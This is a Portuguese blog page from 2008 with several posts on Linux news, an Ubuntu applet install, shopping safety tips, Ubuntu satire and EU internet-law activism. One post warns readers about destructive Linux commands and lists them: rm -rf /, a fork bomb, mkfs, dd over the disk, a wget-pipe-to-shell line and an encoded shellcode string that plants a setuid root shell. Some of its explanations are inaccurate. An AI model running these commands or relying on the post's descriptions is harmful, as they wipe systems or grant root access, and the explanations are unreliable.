sábado, 29 de novembro de 2008
O acordo entre Microsoft e Novell sobre Linux: dois anos depois
Há dois anos, a Microsoft e a Novell firmaram um polêmico acordo. Entre outras coisas, as companhias concordaram em não entrar com processos por uso de propriedade intelectual, protegendo os usuários do Suse Linux de litígios por quebra de patentes da Microsoft. O acordo provocou debates acalorados na comunidade Linux, que até hoje é contra a iniciativa. Mas, para os envolvidos, o negócio foi positivo? Depende de quem estamos falando. Microsoft e Novell apresentam sempre um cenário muito positivo do acordo. “Os clientes gostam de ver as duas empresas juntas”, afirma Susan Hauser, gerente geral de parcerias estratégicas da Microsoft. Mas, um opoente fervoroso do negócio, responsável pelo site Boycott Novell, enxerga a situação de modo diferente. “A Novell comprometeu os interesses da comunidade de software livre em troca de centenas de milhares de dólares que recebeu da Microsoft. As duas empresas colocaram seus interesses na frente dos interessas da comunidade que faz os softwares que o restante do mundo usa”, afirma Roy Schestowitz, redator e co-editor do site. “O acordo legitimou as alegações duvidosas sobre patentes da Microsoft”, acrescenta Schestowitz. Segundo o editor, o negócio entre Novell e Microsoft levou a uma corrente de, pelo menos, sete acordos envolvendo o Linux e empresas com sistemas proprietários que também prejudicam os interesses do sistema de código aberto. Atualmente, executivos da Microsoft e Novell falam como se nunca tivesse existido nenhuma controvérsia. Mas existiram e muitos acreditam que a Novell fez concessões muito grandes a respeito de assuntos de propriedade intelectual e Linux. Alguns meses após o acordo, a Microsoft alegou que softwares de código aberto, como o Linux, violavam 235 patentes suas. Mas, a empresa não detalhou quais violações seriam essas. Com o entendimento entre as empresas, a Novell estaria livre de qualquer problema. Outros pontos do acordo garantem o uso de sistemas virtualizados, interoperabilidade de diretórios, gerenciamento de sistemas e um tradutor do formato Open Office XML, da Microsoft, para o Open Document Format, usado pela Novell. Mas, críticos como Schestowitz argumentam que o acordo, juntamente com as contínuas acusações de quebra de patentes feitas pela Microsoft contra o Linux, é mais um passo na direção da marginalização do Linux, ou de fazer do sistema de código aberto um mero coadjuvante no ambiente dominado pelo Windows. “Se a Novell e a Microsoft atingirem seus objetivos, o Linux será cada vez mais será deixado de lado nos datacenters, se tornando essencialmente um sistema secundário que roda sobre máquinas Windows, em oposição a um host que roda com ou sem o sistema da Microsoft”, afirma Schestowitz. O editor também alega que o acordo “gera receitas às custas de quem cria, oferece suporte e distribui software livre, o que, não somente intimida desenvolvedores, mas também torna o software livre uma alternativa menos atrativa do ponto de vista de custos e impede a adoção do principal competidor da Microsoft. Pelo entendimento, a Novell concordou em pagar royalties para a Micosoft com base nas suas vendas. Na opinião de Schestowitz, isso penaliza os colaboradores open source. Por outro lado, a Novell afirma que, na verdade, recebe mais dinheiro da Microsoft, no final das contas, graças à compra de 240 milhões de dólares feita pela dona do Windows em certificados de suporte para o Suse Linux, posteriormente vendidos aos clientes que usam os dois sistemas operacionais em seus ambientes. Em agosto, deste ano a empresa comprou mais 100 milhões de dólares em certificados. Os recursos, segundo a Novell, financiam os esforços da companhia em torno do Linux. No centro das críticas feitas por Schestowitz está a sua crença no fato de um fornecedor dominante estar tentando entrar no mundo open source com o objetivo de “seqüestrar” os competidores de código aberto. “Com o acordo, a Microsoft passa a impressão de querer colaborar com a comunidade open source e, desse modo, começou a freqüentar as conferências da comunidade assim que a negociação foi concluída, por meio da presença da Novell ou por convites implícitos”, afirma. “Mas, se a Microsoft quisesse cooperar realmente com a comunidade, devia começar abrindo seu próprio código e adotando formatos livres de patentes e royalties”, completa. Independentemente das implicações para o mundo Linux e open source, a Novell afirma que o acordo tem sido bom para o Suse Linux e para os fornecedores que usam seu sistema operacional juntamente com o Windows. “Nos últimos dois anos, na verdade nós expandimos as colaborações técnicas nas áreas de acessibilidade e gerenciamento e com projetos como o Moonligth-Silverligth”, afirma Susan Heystee, gerente geral de alianças estratégicas da Novell. “Tivemos um ótimo retorno por parte dos nossos clientes”, diz Susan. Apesar de alguns clientes, como o HSBC, terem afirmado que se beneficiaram do acordo, Schestowitz argumenta que os frutos da iniciativa não são tão benevolentes e que os consumidores estão evitando a Novell. “A empresa perdeu a confiança da comunidade e sua participação de mercado caiu frente a competidores que não concordaram em fazer acordos similares”, afirma.
Fonte: Computerworld
Linux: Alarm Clock

O mais vulgar, Create new alarm from scratch, mostra todo o potencial do Alarm Clock. Pode definir um nome, data e hora do alarme e o tipo de notificação: desde a reprodução de um som ou da sua música preferida, à execução de comandos ou do desligar do computador.
Por fim, Create from template, está apenas disponível caso tenha já definido algum alarme template, isto é, a partir do qual irá criar outros. Este modo apresenta-se útil caso pretenda marcar regularmente eventos semelhantes. Para definir templates clique sobre Edit > Birtdays & Alarms.
Para instalar esta excelente aplicação em sistemas Ubuntu, adicione o seguinte repositório, utilizando o comando correspondente à versão que está a utilizar:
deb http://ppa.launchpad.net/joh/ubuntu hardy main
deb http://ppa.launchpad.net/joh/ubuntu intrepid main
Feito isto, basta digitar no terminal:
sudo apt-get update
sudo apt-get install alarm-clock-applet
quinta-feira, 27 de novembro de 2008
3 Dicas Para Compras Online Seguras
Durante o mês de Dezembro, muitos dos sites de comércio electrónico optam por estratégias de venda como: redução de custos na compra de produtos e entrega gratuita. Desta forma, comprar online é uma opção muito apelativa! Mas...não se esqueça dos riscos envolvidos, que podem implicar roubo de informação e perda de dados.
1 – Utilize um número de conta virtual - é um serviço que a maioria das empresas de crédito oferece. Para aceder a esta solução o utilizador tem de criar um número aleatório de cartão de crédito, que torna virtualmente impossível o roubo do seu número de conta. Depois de estar na posse dessa informação, basta ao utilizador inseri-la no site e concluir a compra. Este número é válido por um curto período de tempo, o suficiente para o fornecedor do serviço, a que acedeu, processar a sua compra que será debitada no cartão de crédito real.
2 - Certifique-se de que está a aceder a um site seguro – procure o ícone do cadeado ou um URL que inicia com https//. Isto significa que a transacção é codificada e segura.
3 – Não confie em emails que solicitam a confirmação do seu número de cartão de crédito – todos os anos e com o intuito de solicitar a confirmação dos seus dados pessoais, entre eles o número de cartão de crédito, os hackers enviam emails enganosos fingindo ser do Serviço de Clientes do eBay ou do PayPal. Cuidado com estes emails! Se tem alguma dúvida em relação ao serviço prestado por um site de e-Commerce, entre em contacto com o Serviço de Clientes do site e não responda a este tipo de emails.
segunda-feira, 24 de novembro de 2008
Comandos para “acabar” com o Linux
Andava eu a procurar novidades curiosas na Internet, quando descobri comandos que quando usados no Linux, podem ser “mortais”.
Tenham em atenção os seguintes códigos:
rm -rf /
Este comando eliminará toda a informação do directório Root.
- char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Este comando faz precisamente o mesmo do primeiro, a única diferença consiste no facto de ser mais discreto. Mesmo os utilizadores mais habituados ao sistema Linux, podem não reconhecer o comando.
- mkfs.ext3 /dev/das
Este comando irá eliminar ou reformatar toda a informação existente no dispositivo indicado após o comando mkfs.
- :(){ :|:& };:
Este comando leva o sistema ao limite. Mais conhecido por “forkbomb” este comando indica ao sistema que efectue o maior número de processos até que o sistema crash. Além de todos os constrangimentos causados por este comando, pode também causar danos ao corromper a informação.
- chmod -R 777 /
Este comando permite a um outro utilizador ter privilégios de ler, escrever e executar (“Read, Write, Execute”). Os únicos ficheiros que “escapam” a este comando, são os ficheiros “/bin” e “/etc/bin” pois encontram-se em processamento.
- wget http://codigomalicioso -O- | sh
Este comando faz com que o sistema efectue um download de um código malicioso e o instale na sua máquina. Como é fácil de prever, tudo será possível acontecer a partir desse momento.
O último comando é o mais destrutivo de todos, pois faz com que o disco seja formatado e fique tal e qual como vem de fábrica.
- dd if=/dev/zero of=/dev/sda
Espero que com este artigo os menos experientes ou conhecedores dos sistemas Linux fiquem mais protegidos contra ataques.
10 razões para não utilizar Ubuntu
Existem muitas pessoas que mesmo após utilizarem o Ubuntu (ou qualquer outra distribuição Linux) continuam a preferir/utilizar o seu Windows (provavelmente pirata ou que pagaram os olhos da cara para o ter ( ou então não )).
Enquanto estava a stumblar (estou viciado no stumbleupon), encontrei um artigo no Socialized Software que indica as top 10 razões para não utilizar Ubuntu e achei no mínimo engraçado.
1 - Não é possível testar antes de comprar
Como o Ubuntu é um software livre, não é possível testar antes de comprar, pois é impossível de comprar.
Por isso o Ubuntu não lhe dá a oportunidade de testar o software antes de pagar.
2 - A instalação de software é demasiado fácil
A instalação de software no Ubuntu via Synaptic ou apt-get é demasiado fácil. Com o synaptic basta fazer uma pesquisa, seleccionar as aplicações/bibliotecas que desejamos instalar e em poucos segundos elas estão instaladas. Simples, fácil e eficaz.
As pessoas estão habituadas a fazer muitas pesquisas e muitos click’s antes do programa estar instalado.
3 - Poucos vírus e muita segurança
Linux é um sistema bastante seguro, portanto não existe a necessidade de ter um anti-virus + anti-spyware + anti-adware + qualquer coisa para proteger os seus dados.
4 - Não tem software de produtividade caros
O Ubuntu não tem uma Suite de produtividade como o Microsoft Office que custa 400$, portanto provavelmente não presta.
O OpenOffice.org é gratuito e opensource, portanto se não se paga, não deve ser grande coisa (tal como o Ubuntu, se é gratuito não presta!).
5 - Não é possível comprar
Como já foi dito o Ubuntu é totalmente gratuito, portanto se não se paga e se até oferecem CDs do Ubuntu é porque provavelmente a ninguém quer o sistema operativo da Canonical e portanto a empresa distribui os CDs que não foram vendidos… provavelmente.
6 - Demasiadas aplicações gratuitas por onde escolher
Existem milhões de aplicações para Linux totalmente gratuitas e a maioria delas é opensource.
São tantas as aplicações que as pessoas têm problemas a escolher aquelas que lhe agradam.
7 - Documentado bem demais
A comunidade Ubuntu junta esforços para documentar todo o software e até mesmo traduzir em várias línguas. Ora se a documentação está em Português não vai prestar… pois o que é em Inglês é que é bom…
8 - Suporte gratuito e rápido
Para além da documentação, das centenas de sites/blogs/fóruns e restantes comunidades que existem para o ajudar a gerir o seu sistema operativo, existem ainda vários canais distribuídos pelas redes de IRC com pessoas dispostas a ajuda-lo em tudo o que for preciso.
9 - Demasiadas Interfaces por onde escolher
Apesar da maioria das pessoas pensarem que Linux ainda é um bicho de 7 cabeças e ainda é tudo por linha de comandos, o Linux permite escolher entre vários Gestores de Janelas (ex: Gnome, KDE, xFCE, etc…) e personalizar totalmente o sistema operativo.
Existem muitas mais configurações possíveis para deskmod em Linux do que em macOSx ou Windows.
10 - Demasiado Eye Candy
Para além dos gestores de janelas disponíveis, é possivel a instalação de pequenas aplicações que apesar de terem como principal objectivo tornar o ambiente Eye Candy, facilitam a vida de quem trabalha com várias aplicações, podendo ter vários desktops no mesmo sistema e agrupar as aplicações em cada um deles.
Mobilizem-se para bloquear a “resposta gradual” do Sarkozy no Conselho Europeu!
Há algumas semanas atrás, a Lei Francesa instalando uma “resposta gradual” contra os utilizadores da Internet foi aceite pelo Senado Francês. Nessa lei, uma autoridade administrativa manda, sem julgamento qualquer, cortar o acesso à Internet (sem possibilidade de subscrição a um novoserviço de acesso) a alegados partilhadores de ficheiros. Nicolas Sarkozy mostrou uma forte determinação em impor este esquema em toda a Europa, usando a presidência Francesa da União Europeia. No entanto, a emenda 138 à lei de regulação de telecoms Europeia (”Pacote Telecom#), decidiu com 88% dos votos cortar as asas a esse projecto. Isso é a razão pela qual provevelmente o Conselho Europeu está agora prestes a remover esta emenda numa decisão que irá ocorrer a 27 de Novembro. O Programas Livres convida todos os cidadãos Europeus a escrever para os seus representantes no Conselho e pedir-lhes para manter a emenda 138 no “Pacote”. A sua remoção iria significar uma enorme falha na democracia Europeia, para o interesse único dos lóbis da indístria de entretenimento.
O sonho de Sarkozy impedido pela emenda 138
Assim que se tornou Presidente Francês, Nicolas Sarkozy mostrou uma obsessão: lutar contra a partilha de ficheiros na Internet cortando a ligação à Internet de todos os alegados incumpridores, logo que tivessem sido avisados duas vezes - a “resposta gradual” também referida como “três vezes e estás fora”. Este projecto encontrou considerável oposição.
Assim que o rascunho da lei apareceu em França, várias emendas foram introduzidas de forma encoberta do “Pacote Telecoms”. Graças à mobilização dos cidadãos Europeus, provisões ameaçando a “Neutralidade na Internet”, enfraquecendo a protecção de dados pessoais e a privacidade, ou erguendo as fundações para uma aproximação “três vezes”, foram destacadas, confirmadas por uma forte anãlise do Supervisor da Protecção de Dados Europeu (EDPS).
As ameaças continuam presentes no texto votado pelo Parlamento Europeu na sua primeira leitura (Universal services, Artigo 33 (2a) e Artigo 20 (2), e directiva Framework artigo 8(4g) e Anexo 1, ponto 19 da directiva de Autorização). No entanto, estas ameaças foram evitadas por importantes salvaguardas para o utilizador, notavelmente a Emenda 138 da directiva Framework, suportada por uma grande maioria vinda dos diversos Partidos − 88% dos Membros do Parlamento Europeu (MEPs).
“Para serem efectivas, as medidas acusatórias e punitivas da “resposta gradual” deveriam sobrepor-se à autoridade judicial. Isso é claramente demonstrado pela lei Francesa, establecendo uma nova autoridade administrativa, punindo utilizadores da Internet com raro espaço para qualquer recurso num tribunal, logo que o danotenha sido feito com o corte do seu acesso à Internet. O objecto de uma emenda 138 é apenas uma lembrança do direito a julgamento.”
, explica Jeremie Zimmermann, co-fundador da Quadratura da Net.
Uma tentativa de evitar a Democracia Europeia
A meados de Outubro, N.Sarkozy escreveu ao Presidente da Comissão Euripeia, José Manuel Barroso, pedindo-lhe para remover a emenda 138 do texto que tem agora de ser acordado pelo Conselho Europeu. Barroso rejeitou o pedido. O próximo passo para o procedimentode co-decisão da UE será a primeira leitura pelo Conselho, onde ministros dos 27 Estados-Membro terão de ser convencidos pelo Presidente Francês, a 27 de Novembro.
Caso a emenda 138 seja removida do Pacote Telecoms pelo Conselho, isso iria mostrar a toda a Europa que a estrutura tecnocrática pode ser usada pelo ramo executivo para ultrapassar a expressão democrática do Parlamento. Tal aceitação da vontade de Nicolas Sarkozy, para servir o interesse de alguns lóbis das indústrias de entretenimento, seria um exemplo muito triste da derrota da Democracia Europeia.
A resposta gradual dos cidadãos Europeus a Sarkozy através do Conselho
O Programas Livres apela a todos os cidadãos Europeus a contactar os seus ministros e parlamentos nacionais para informá-los e para exigir deles uma posição transparente sobre os princípios fundamentais democráticos relembrados pela emenda 138.
Apesar de Bruxelas aparentar estar determinada a manter a emenda, Sarkozy está a fazer de tudo para convencer os Ministros Europeus a removerem essa emenda.
Como conclui Zimmermann,
No decorrer do ‘Pacote Telecoms’, os cidadãos Europeus atingiram já alguns resultados tremendos: expôr este projecto-lei, alertando os MEP para que eles possam entender o que estava em jogo, apontar para as ameaças escondidas e para o que poderiam ser salvaguardas, etc. Pessoas de muitos países Europeus já se juntaram a este esforço. Mostraram a face da actual democracia Europeia. E fazem-no apesar das manobras daqueles que são incontáveis ao nível Europeu: governos e lóbis da indústria de entretenimento. Agora, os Europeus terão de se fazer ouvir mais alto!”
